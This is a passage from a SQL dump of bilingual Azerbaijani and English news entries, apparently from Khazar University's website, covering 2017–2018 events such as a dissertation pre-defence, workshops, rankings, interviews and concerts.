submitted...','<p>A pre-defence discussion session will be held for the dissertation submitted by Shahriyar Aghamirza Mammadov, a PhD student of the Department of Political Sciences and International Relations, at 12:00, on April 19, 2018. The dissertation entitled “USA-Azerbaijan relations: a political analysis” (International Relations with specialization code 5901.01) is submitted to be granted a PhD degree.</p><p>The dissertation is available, for those who are interested in, at the Department of Political Science and International Relations of Khazar University.</p><p style=\"text-align:right\"><strong><em>Division for Graduate Students and Research </em></strong> <br></p>'),(5355,3098,'az','Xəzər Universiteti əməkdaşının Hohai Araşdırma Forumunun seminarında onlayn iştirakı','Aprelin 11-də Xəzər Universitetinin Khazar Journal of Humanities and Social Sciences,..','<p>Aprelin 11-də Xəzər Universitetinin Khazar Journal of Humanities and Social Sciences (“Xəzər humanitar və sosial elmlər jurnalı”) beynəlxalq elmi jurnalının baş redaktor assistenti, sosial elmlər üzrə fəlsəfə doktoru Xəyalə Məmmədova onlayn rejimdə Hohai Universitetinin (Çin Xalq Respublikası) Beynəlxalq əməkdaşlıq ofisinin təşkil etdiyi Hohai Araşdırma Forumunun növbəti seminarında iştirak etmişdir.</p><p>Hohai Universitetinin Biznes fakültəsinin dekanı, Beynəlxalq əməkdaşlıq ofisinin direktoru professor Vanq Qun (Wang Qun) seminarı açaraq, Hohai Araşdırma Forumunun əhəmiyyətindən danışmışdır.</p><p>Seminar təşkilatçısı Mudassar Sarfraz indiyə qədər forumun xarici ekspertlərin iştirakı ilə həyata keçirdiyi seminarlar haqqında məlumat verərək, beynəlxalq əməkdaşlıqlarını da yüksək səviyyədə inkişaf etdirdiklərini qeyd edəndən sonra sözü X. Məmmədovaya vermişdir.</p><p>X. Məmmədova məruzəsində mühüm elmi-tədqiqat nəticələrinin əldə olunmasında və təbliğində böyük əhəmiyyətə malik olan beynəlxalq elmi bazaların imkanlarından istifadə metodları, yüksək indeksli beynəlxalq jurnallarda məqalələr üçün qoyulan tələblər, müasir beynəlxalq jurnalların idarə edilmə prinsipləri, elmi-tədqiqat metodları, elmi məqalələrin təqdimetmə qaydaları və digər praktiki məsələlərlə bağlı seminar iştirakçılarına geniş məlumat vermiş, onların suallarını cavablandırmışdır. Seminar iştirakçıları Hohai Universitetinin müxtəlif fakültələrində təhsil alan və çalışan gənc alimlər və doktorantlar idi.</p>'),(5356,3098,'en','Khazar University staff member in an online workshop of Hohai Research Forum','On April 11, Khayala Mammadova, PhD in Social Sciences and Assistant Editor-in-Chief...','<p>On April 11, Khayala Mammadova, PhD in Social Sciences and Assistant Editor-in-Chief of Khazar Journal of Humanities and Social Sciences, an international scientific journal, participated in the next online workshop of Hohai Research Forum, organized by International Cooperation Office of Hohai University (People\'s Republic of China).</p><p>Prof. Wang Qun, Dean of School of Business and Director of International Cooperation Office, opened the workshop and mentioned the importance of Hohai Research Forum.</p><p>Mudassar Sarfraz, an organizer of the workshop, talked about workshops held so far with the participation of international experts and stressed that international relations of the forum had developed considerably. Then he offered the floor to Khayala Mammadova.</p><p>Khayala Mammadova delivered a report on methods of use of an international scientific database which is of huge importance for conducting research and disseminating its findings. Moreover, she talked about publication requirements of international journals with high impact factor, management principles of modern journals, research methods, presentation methods of scientific articles and other practical issues, and answered questions of participants who were young scientists and PhD students of Hohai University.</p>'),(4100,2395,'az','Xəzər Universiteti Azərbaycanda yenə birincidir','2017-ci il sentyabrın 7-də xezerxeber.az saytı dünya univesitetlərinin reytinqini hazırlayan ən məşhur 3 şirkətdən biri –“QS World University Rankings”in açıqladığı siyahı...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il sentyabrın 7-də <strong><em>xezerxeber.az</em></strong>\r\nsaytı dünya univesitetlərinin reytinqini hazırlayan ən məşhur 3 şirkətdən biri –“QS\r\nWorld University Rankings”in açıqladığı siyahı əsasında Azərbaycanın ən yaxşı\r\nali məktəblərinin adını qeyd etmişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Bu dəfə də Xəzər Universitetinin Azərbaycanın\r\nən yaxşı ali təhsil müəssisəsi olduğu məlum olmuşdur.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Materialı tam şəkildə bu link vasitəsilə\r\noxumaq olar: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.xezerxeber.az/G%C3%BCnd%C9%99m/172558.html#Kalibri\">http://www.xezerxeber.az/Gündəm/172558.html</a>.</p>'),(4101,2396,'az','Hamlet İsaxanlı Lütfi Zadədən yazdı','2017-ci il sentyabrın 7-də teleqraf.com xəbər saytında Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının tanınmış alim Lütfi Zadə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il sentyabrın 7-də <strong><em>teleqraf.com</em></strong>\r\nxəbər saytında Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlının tanınmış alim Lütfi Zadə ilə bağlı\r\n“Zadənin Azərbaycanda dəfn ediləcəyi dəqiq deyil” başlıqlı məqaləsi\r\nyayınlanmışdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Materialı tam şəkildə bu link vasitəsilə\r\noxumaq olar: <a href=\"http://teleqraf.com/news/gundem/148025.html\">http://teleqraf.com/news/gundem/148025.html</a>.&nbsp;</p>'),(4102,2397,'az','Üzeyir Hacıbəyliyə həsr olunmuş konsert-konfrans keçiriləcək','2017-ci il sentyabrın 20-si saat 15:00-da Xəzər Universitetində “Ü.Hacıbəyli: alim, musiqişünas...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il sentyabrın 20-si saat\r\n15:00-da Xəzər Universitetində “Ü.Hacıbəyli: alim, musiqişünas, ictimai xadim”\r\nadlı konsert-konfrans keçiriləcək.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Konsert-konfransda Xəzər Universitetinin\r\nKamera Orkestri və “Dissonans” musiqişünas heyəti iştirak edəcək.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Maraqlananlar dəvət olunurlar.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.dissonanze.az/2017/09/12/dissonans-konsert-konfrans/\">http://www.dissonanze.az/2017/09/12/dissonans-konsert-konfrans/ </a> <br></p>'),(4104,2398,'az','Xəzər Universitetində 2017-2018-ci tədris ilində təlim-tədris işlərinin təşkili barədə görüş keçirildi','2017-ci il sentyabrın 6-da Xəzər Universitetinin Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Xəzər Universitetində 2017-2018-ci tədris ilində təlim-tədris...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il sentyabrın 6-da Xəzər Universitetinin\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Xəzər\r\nUniversitetində 2017-2018-ci tədris ilində təlim-tədris işlərinin təşkili ilə əlaqədar\r\ngörüş keçirdi. Görüşdə Universitetin rektoru Dr.Hassan Niknafs, İdarəetmə və tələbə\r\nişləri üzrə prorektoru İsaxan İsaxanlı, Təhsil fakültəsinin dekanı Elza Səmədova,\r\nHumanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov və İqtisadiyyat və\r\nmenecment fakültəsinin dekanı Ceyhun Məmmədov iştirak edirdilər.&nbsp;</p>'),(4105,2397,'en','Concert-conference dedicated to Uzeyir Hajibeyli will be held','A concert-conference devoted to U. Hacibeyli, the great scientist, musician and public figure will be held at Khazar University...','<p>A concert-conference devoted to U. Hacibeyli, the\r\ngreat scientist, musician and public figure will be held at Khazar University, at\r\n15.00, on September 20, 2017.</p>\r\n<p>Khazar University Chamber Orchestra and staff of\r\nmusicians “Dissonans” will take part at the concert-conference.</p>\r\n<p>Those interested are invited.</p><p><a href=\"http://www.dissonanze.az/2017/09/12/dissonans-konsert-konfrans/\">http://www.dissonanze.az/2017/09/12/dissonans-konsert-konfrans/&nbsp;</a></p>'),(4106,2392,'en','“Khazar’s” students are employed','Four students of the School of Engineering and Applied Sciences of Khazar University, Asif Hasanli, Farid Israfilov, Nazrin Babashova and Farid Amiraslanli were employed...','<p>Four students of the\r\nSchool of Engineering and Applied Sciences of Khazar University, Asif Hasanli,\r\nFarid Israfilov, Nazrin Babashova and Farid Amiraslanli were employed by\r\n“Encotec” company in May, 2017 after two weeks of training.&nbsp; “Encotec” was established by Faiq Rzayev in\r\n2001 and is considered to be a well-managed, multi- disciplined engineering\r\ncompany. The company is mainly involved in providing oil and gas industry of\r\nAzerbaijan with technical project services, project management, installation\r\nand exploitation services.&nbsp;</p>'),(4107,2395,'en','Khazar University is Number One in Azerbaijan','On September 7, 2017, xezerxeber.az news website released a list of the top universities of Azerbaijan, based on the survey of “QS World University Rankings”, one of the three most...','<p>On September 7, 2017, <strong>xezerxeber.az</strong> news website released a\r\nlist of the top universities of Azerbaijan, based on the survey of “QS World\r\nUniversity Rankings”, one of the three most leading companies that rank World\r\nUniversities. </p>\r\n<p>This time again Khazar\r\nUniversity has been found to be the best university of Azerbaijan. </p>\r\n<p>Follow the link below\r\nfor more information:</p>\r\n<p><a href=\"http://www.xezerxeber.az/Gundem/172558.html\">http://www.xezerxeber.az/Gundem/172558.html</a></p>'),(4108,2398,'en','Meetıng on Organization of Teaching and Education for 2017-2018 Academıc Year at Khazar Unıversıty','On September 06, 2017, Chairman of the Board of Directors and Trustees Professor Hamlet Isakhanli held a meeting on organization of teaching and education for 2017-2018...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On September 06, 2017, Chairman of the Board of\r\nDirectors and Trustees Professor Hamlet Isakhanli held a meeting on organization\r\nof\r\nteaching and education\r\nfor 2017-2018 academıc year<strong> </strong>at Khazar\r\nUniversity. Rector of the University Dr. Hassan Niknafs, Vice-rector Mr. Isakhan\r\nIsakhanli, as well as Deans of the Education Faculty, Humanitarian and Social\r\nSciences Faculty and Ecnomics and Management Faculty of the University, resspectively\r\nMrs. Elza Samadova, Mr. Jabir Khalilov and Mr. Jeyhun Mammadov participated at\r\nthe meeting.&nbsp;</p>'),(4109,2391,'en','Hamlet Isakhanli gave an interview to \"Sharq\" newspaper about \"Those who study abroad\"','On 7 September, 2017, the text of the interview with Hamlet Isakhanli, the founder of the University, chairman of its Board of Directors and Trustees, on the subject “What can we...','<p>On 7 September, 2017, the\r\ntext of the interview with Hamlet Isakhanli, the founder of the University,\r\nchairman of its Board of Directors and Trustees, on the subject “What can we\r\nsay to those who received a higher education well abroad?” was released on the\r\nofficial website of \"Sharq\" newspaper. </p>\r\n<p>The text is readily\r\naccessible through this link:</p>\r\n<p><a href=\"http://www.sherg.az/site/id-36092/Xaricd%C9%99_yax%C5%9F%C4%B1_universiteti_bitirib_g%C9%99l%C9%99n%C9%99_kim_n%C9%99_dey%C9%99_bil%C9%99r?#Kalibri\">http://www.sherg.az/site/id-36092/Xaricdə_yaxşı_universiteti_bitirib_gələnə_kim_nə_deyə_bilər?</a></p>'),(4110,2396,'en','Hamlet Isakhanli wrote about Lutfi Zadeh','On 7 September, 2017, the article entitled ‘It is not clear whether Zadeh will be buried in Azerbaijan’ related to a well-known scientist Lutfi Zadeh  produced by  Hamlet Isakhanli...','<p>On\r\n7 September, 2017, the article entitled ‘It is not clear whether Zadeh will be\r\nburied in Azerbaijan’ related to a well-known scientist Lutfi Zadeh &nbsp;produced by &nbsp;Hamlet Isakhanli, the founder of the\r\nUniversity, chairman of its Board of Directors and Trustees, was released on\r\nthe <strong><em>teleqraf.com</em></strong>&nbsp; website. &nbsp;</p>\r\n<p>The text is readily accessible through\r\nthis link: <a href=\"http://teleqraf.com/news/gundem/148025.html\">http://teleqraf.com/news/gundem/148025.html</a>.</p>'),(4111,2399,'az','AESOP Erasmus+ layihəsinin növbəti görüşü Xəzər Universitetində baş tutacaq','2017-ci il sentyabrın 21-i və 22-də Xəzər Universitetində Erasmus+ “Advocacy Establishment for Students...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il sentyabrın 21-i və 22-də Xəzər Universitetində Erasmus+\r\n“Advocacy Establishment for Students through Ombudsman Position” (AESOP) layihəsi\r\nçərçivəsində layihənin Avropa və regional tərəfdaşlarının iştirakı ilə “Layihənin\r\nidarə edilməsi üzrə iclas” adlı görüş keçiriləcək. Görüş zamanı tərəfdaş\r\nuniversitetlərin nümayəndələri layihə çərçivəsində həyata keçirilmiş və həyata\r\nkeçirilməsi nəzərdə tutulan fəaliyyətləri müzakirə edəcəklər.</p>'),(4112,2399,'en','AESOP Erasmus + project meeting to be held at Khazar University','On September 21-22, 2017, an “Advocacy Establishment for Students through Ombudsman...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On September 21-22, 2017, an “Advocacy\r\nEstablishment for Students through Ombudsman Position” (AESOP) <strong>Project Management Meeting</strong> will be held\r\nat Khazar University with the participation of EU and regional partners. Representatives\r\nof the partner universities will discuss implemented and ongoing project\r\nactivities.</p>'),(4113,2400,'az','Hüquq Tədris Mərkəzində növbəti təlim keçirildi','2017-ci il sentyabr 9-u və 10-da Xəzər Universiteti Humanitar və sosial elmlər fakültəsində yaradılmış Hüquq Tədris Mərkəzində davamlı olaraq həyata keçirilən layihə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il sentyabr\r\n9-u və 10-da Xəzər Universiteti Humanitar və sosial elmlər fakültəsində\r\nyaradılmış Hüquq Tədris Mərkəzində davamlı olaraq həyata keçirilən layihə çərçivəsində\r\n“Avropa İnsan Hüquqları Konvensiyasının təhlili” mövzusunda növbəti təlim\r\nkeçirildi. Təlimdə bir sıra universitetlərin, o cümlədən, Xəzər Universitetinin\r\nməzunları və tələbələri iştirak edirdilər. Təlimdə Avropa İnsan Hüquqları Məhkəməsinə\r\nşikayətlərin verilməsi qaydası müzakirə olundu, iştirakçılar Avropa İnsan\r\nHüquqları Konvensiyasının müxtəlif maddələri və məhkəmə qərarları ilə yaxından\r\ntanış oldular. Həmçinin, təlimdə AİHM-nə\r\nşikayətlərin verilməsi qaydası müzakirə edildi, iştirakçılar Avropa İnsan\r\nHüquqları Konvensiyasının müxtəlif maddələri və AİHM-nin qərarları ilə yaxından\r\ntanış oldular.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Təlimi Avropa\r\nİnsan Hüquqları Assosiasiyasının üzvü, Avropa İnsan Hüquqları Məhkəməsində\r\nhüquqşünas işləmiş Könül Qasımova aparırdı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Təlimin keçirilməsi üçün iki gün nəzərdə tutulsa da, təlim maraqlı və məhsuldar\r\nkeçirildiyinə görə, iştirakçılar təlimin davam etdirilməsi üçün müraciət etmişdilər.\r\nİştirakçıların müraciətlərini nəzərə alaraq, təlimin davamı növbəti aylarda da\r\nplanlaşdırılır.</p>'),(4114,2400,'en','The next training was held at the Legal Training Center','On 9 -10 September, 2017, the next training on \"Analysis of the European Convention on Human Rights\" was held within the framework of a continuing project at the Legal Training...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On 9 -10\r\nSeptember, 2017, the next training on \"Analysis of the European Convention\r\non Human Rights\" was held within the framework of a continuing project at\r\nthe Legal Training Center, established at the School of Humanities and Social\r\nSciences, Khazar University. The graduates and students from a number of\r\nuniversities including Khazar University took part in the training. In the\r\ntraining, the procedure for filing complaints to the European Court of Human\r\nRights was discussed and the participants got closely acquainted with various\r\narticles and court decisions of the European Convention on Human Rights.&nbsp;&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">The training was conducted by Konul\r\nGasimova, a member of the European Human Rights Association and the former\r\nlawyer at the European Court of Human Rights. Although two days were scheduled\r\nfor the training, the participants requested to continue the training because it\r\nwas interesting and productive. Taking the participants’ request into account, the\r\ncontinuation of the training is scheduled for the next months.&nbsp;</p>'),(4115,2401,'az','Bakı Türk Anadolu Liseyində keçmiş məzunlarla və müəllimlərlə görüş keçirildi','2017-ci sentyabrın 10-da Türkiyə Təhsil Nazirliyinin Bakı şəhərində yerləşən Bakı Türk Anadolu Liseyində (BTAL) 1997-ci ildən məzun olan şagirdlərlə və orada işləmiş müəllimlərlə...','<p>2017-ci\r\nsentyabrın 10-da Türkiyə Təhsil Nazirliyinin Bakı şəhərində yerləşən Bakı Türk\r\nAnadolu Liseyində (BTAL) 1997-ci ildən məzun olan şagirdlərlə və orada işləmiş\r\nmüəllimlərlə görüş keçirildi. Görüşdə Xəzər Universitetinin İctimai əlaqələr və\r\nmedia üzrə direktoru&nbsp;Əlövsət Əmirbəyli çıxış etdi. </p>\r\n<p>Türkiyə\r\nRespublikasının Azərbaycandakı səfirliyinin Təhsil üzrə müşaviri&nbsp;Abdulqafur\r\nBüyükfırat Əlövsət Əmirbəyliyə təşəkkür plaketi təqdim etdi.&nbsp;</p>'),(4116,2401,'en','A meeting with former graduates and teachers was held in Baku Turkish Anadolu Lyceum','On 10 September, 2017, the meeting was held in Baku Turkish Anadolu Lyceum, located in Baku, with the students who have graduated since 1997 and the teachers who worked there....','<p>On 10 September,\r\n2017, the meeting was held in Baku Turkish Anadolu Lyceum, located in Baku,\r\nwith the students who have graduated since 1997 and the teachers who worked\r\nthere. Alovsat Amirbeyli, Director for Public Relations and Media of Khazar\r\nUniversity, spoke at the meeting. </p>\r\n<p style=\"\" margin-bottom:8.0pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">Abdulqafur Buyukfırat, Education Adviser\r\nto the Embassy of the Republic of Turkey in Azerbaijan, presented Alovsat\r\nAmirbeyli a plaque of appreciation.&nbsp;</p>'),(4117,2402,'az','İqtisadiyyat və menecment fakültəsinin yeni əməkdaşları ilə görüş keçirildi','2017-ci il sentyabrın 7-də Xəzər Universitetinin Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ali təhsil müəssisəsinin İqtisadiyyat və menecment...','<p>2017-ci il\r\nsentyabrın 7-də Xəzər Universitetinin Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı ali təhsil müəssisəsinin İqtisadiyyat və menecment\r\nfakültəsinin yeni müəllim kollektivi ilə görüş keçirdi. İqtisadiyyat və menecment fakültəsinin dekanı iqtisadiyyat\r\nüzrə fəlsəfə doktoru Ceyhun Məmmədov kollektivin yeni əməkdaşları dekan müavini\r\ni.ü.f.d. Şəhriyar Muxtarovu və İqtisadiyyat və menecment kafedrasının\r\nkoordinatoru i.ü.f.d Elvin Məmmədovu professor Hamlet İsaxanlıya təqdim edərək,\r\nonlar haqqında geniş məlumat verdi.</p>\r\n<p>Professor Hamlet İsaxanalı öz növbəsində kollektivin yeni\r\nüzvlərinə Xəzər Universitetinin tarixi, inkişaf mərhələləri, beynəlxalq əlaqələri,\r\ntəhsil müəssisəsində qazanılan uğurlar barədə məlumat verərək, universitetdə\r\nreallaşdırılan proqram və beynəlxalq layihələrdən danışdı. Görüşdə qarşıda\r\nduran vəzifələr, idarəetmə, elmi-tətqiqat fəaliyyətinin genişləndirilməsi, tədris\r\nvə imtahan prosesinin təkmilləşdirilməsi, təhsilin keyfiyyətinin\r\nyaxşılaşdırılması, tələbələrin elmə olan marağının daha da artırılması üçün\r\nmüxtəlif seminar və elmi konfransların keçirilməsi və digər məsələlər müzakirə\r\nedildi.</p>'),(4118,2403,'az','Humanitar və sosial elmlər fakültəsinin əməkdaşının məqaləsi Gəncədə çap olundu','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) “The American Dream: A review of the suspense in Steinbeck’s `Of Mice...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Xəzər Universiteti Humanitar və\r\nsosial elmlər fakültəsinin dekan köməkçisi&nbsp;Validə\r\nKərimovanın&nbsp;(doktorant) <em>“The\r\nAmerican Dream: A review of the suspense in Steinbeck’s `Of Mice and Men`”</em>\r\nadlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya\r\nKomissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Gəncə Dövlət\r\nUniversitetinin “Elmi xəbərlər” jurnalının Humanitar və təbiət elmləri seriyasının 2017-ci ilinin 2-ci cildində çap\r\nedilmişdir. Məqalədə “Siçanlar və adamlar” romanı araşdırılaraq, bir parça\r\ntorpaq həsrəti ilə yaşayan, bu həsrətlə də ömrünü başa vuran kəslər, yazıçının\r\nçox yaxından tanıdığı, dərdlərinə şərik olduğu insanlar haqqında tədqiqat\r\noxuculara geniş şəkildə təqdim edilmişdir.&nbsp;<a href=\"/files/pdf/events/valida%20meqale.PDF\">PDF</a></p>'),(4119,2404,'az','Hamlet İsaxanlı müsahibə verdi','2017-ci il sentyabrın 10-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı CBC telekanalına müsahibə vermişdir. Söhbət əsasən...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci\r\nil sentyabrın 10-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı CBC telekanalına müsahibə vermişdir.\r\nSöhbət əsasən Berkeley Universitetinin professoru, Azərbaycan əsilli alim Lütfi\r\nZadənin həyatı, elmi fəaliyyəti və irsinə həsr olunmuşdur. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xatırladaq\r\nki, professor Lütfizadə 2017-ci il sentyabrın 6-da&nbsp;vəfat etmişdir.</p>'),(4120,2404,'en','Hamlet Isakhanli gave an interview','On September 10, 2017, Professor Hamlet Isakhanli, the founder of Khazar University, chairman of the Board of Directors and Trustees gave an interview to CBC channel...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nSeptember 10, 2017, Professor Hamlet Isakhanli, the founder of Khazar\r\nUniversity, chairman of the Board of Directors and Trustees gave an interview\r\nto CBC channel.&nbsp; The conversation was\r\ndevoted to the life, scientific activity and heritage of Lotfi Zadeh, Azerbaijani\r\nscientist, Professor of Berkeley University. &nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">It\r\nshould be mentioned that Professor Lotfi Zadeh passed away on September 6,\r\n2017.</p>'),(4121,2405,'az','Bakıda beynəlxalq elmi konfrans işə başladı','2017-ci il sentyabrın 12-də Azərbaycan Milli Elmlər Akademiyasının (AMEA) əsas binasında təşkilatşılardan biri olan Xəzər Universitetinin də iştirak etdiyi “Şərqi və qərbi türk...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il sentyabrın 12-də\r\nAzərbaycan Milli Elmlər Akademiyasının (AMEA) əsas binasında təşkilatçılardan\r\nbiri olan Xəzər Universitetinin də iştirak etdiyi “Şərqi və qərbi türk\r\ndünyasının ortaq tarixi dövrləri və münasibətləri” mövzusunda beynəlxalq elmi\r\nkonfrans işə başlamışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Bu haqda daha geniş məlumatı\r\nbu linklər vasitəsilə əldə etmək olar: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"https://azertag.az/xeber/Bakida_turk_dunyasinin_ortaq_tarixi_dovrlerine_dair_beynelxalq_elmi_konfrans_baslayib-1092700;%0d\">https://azertag.az/xeber/Bakida_turk_dunyasinin_ortaq_tarixi_dovrlerine_dair_beynelxalq_elmi_konfrans_baslayib-1092700;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">&nbsp;<a href=\"http://yeniazerbaycan.com/SonXeber_e24460_az.html\">http://yeniazerbaycan.com/SonXeber_e24460_az.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://palitranews.az/news.php?id=74471\">http://palitranews.az/news.php?id=74471</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://mektebgushesi.az/2017/09/12/bakida-turk-dunyasinin-ortaq-tarixi-dovrl%c9%99rin%c9%99-dair-beyn%c9%99lxalq-elmi-konfrans-baslayib\">http://mektebgushesi.az/2017/09/12/bakida-turk-dunyasinin-ortaq-tarixi-dovrlərinə-dair-beynəlxalq-elmi-konfrans-baslayib</a>.</p>'),(4122,2406,'az','AzərTAc Xəzər Universitetində keçiriləcək Üzeyir Hacıbəyli IX Beynəlxalq Musiqi Festivalından yazdı','2017-ci il sentyabrın 12-də Azərbaycan Dövlət İnformasiya Agentliyi (AzərTAc) Xəzər Universitetində Üzeyir Hacıbəyli IX Beynəlxalq Musiqi Festivalı çərçivəsində sentyabrın...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il sentyabrın 12-də Azərbaycan Dövlət İnformasiya Agentliyi (AzərTAc)\r\nXəzər Universitetində Üzeyir Hacıbəyli IX Beynəlxalq Musiqi Festivalı çərçivəsində\r\nsentyabrın 20-də keçiriləcək konsert-konfrans haqqında məlumat yaymışdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Bu haqda daha geniş məlumatı\r\nbu link vasitəsilə əldə etmək olar: </p>\r\n<a href=\"https://azertag.az/xeber/Xezer_Universitetinde_Uzeyir_Hacibeyli_IX_Beynelxalq_Musiqi_Festivali_cherchivesinde_konsert_konfrans_kechirilecek-1092770.\">https://azertag.az/xeber/Xezer_Universitetinde_Uzeyir_Hacibeyli_IX_Beynelxalq_Musiqi_Festivali_cherchivesinde_konsert_konfrans_kechirilecek-1092770.</a>'),(4123,2406,'en','AzerTAc wrote about IX International Music Festival devoted to Uzeyir Hajibeyli to be held at Khazar University','On September 12, 2017, Azerbaijan State Information Agency (AzərTAc), released the information about the IX International Music Festival devoted to Uzeyir Hajibeyli to be held...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">On\r\nSeptember 12, 2017, Azerbaijan State Information Agency (AzərTAc), released the information about the IX\r\nInternational Music Festival devoted to Uzeyir Hajibeyli to be held at Khazar\r\nUniversity on September 20. </p>\r\n<p>The more information is readily accessible\r\nthrough this link:<a href=\"https://azertag.az/xeber/Xezer_Universitetinde_Uzeyir_Hacibeyli_IX_Beynelxalq_Musiqi_Festivali_cherchivesinde_konsert_konfrans_kechirilecek-1092770.\">https://azertag.az/xeber/Xezer_Universitetinde_Uzeyir_Hacibeyli_IX_Beynelxalq_Musiqi_Festivali_cherchivesinde_konsert_konfrans_kechirilecek-1092770.</a></p>'),(4124,2402,'en','A meeting with new staff of the School of Economics and Management took place','On September 7, 2017, Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees held a meeting with the new teaching...','<p>On September 7, 2017, Professor\r\nHamlet Isakhanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees held a meeting with the new teaching staff of the School\r\nof Economics and Management of the University. Jeyhun Mammadov, &nbsp;PhD in Economics, Dean of the School of Economics\r\nand Management presented new employees, Shahriyar Mukhtarov, PhD in Economics,\r\nDean’s Assistant&nbsp; and Elvin Mammadov, PhD\r\nin Economics, Coordinator of the Department of Economics and Management, to\r\nProfessor Hamlet Isakhanli and gave detailed information about them. </p>\r\n<p>Professor Hamlet Isakhanli, in\r\nhis turn, informed the new members of the staff about the history, development\r\nstages, international relations of the university and the success achieved at\r\nthe educational institution and spoke about the programs and international\r\nprojects implemented at the university. During the meeting, the participants\r\ndiscussed various issues, such as the upcoming tasks, the management, the\r\nexpansion of scientific and research activities, the improvement of the\r\nteaching and examination process, the enhancement of the quality of education,\r\nthe organization of various seminars and scientific conferences to further\r\nincrease the students\' interest in science.</p>'),(4125,2407,'az','Xəzər Universitetində növbəti tədqiqat seminarı keçiriləcək','2017-cı il sentyabrın 22-si saat 16:00-da Xəzər Universitetində növbəti tədqiqat seminarı...','<p>2017-cı il\r\nsentyabrın 22-si saat 16:00-da Xəzər Universitetində növbəti tədqiqat seminarı <em>(Research Seminar/Journal 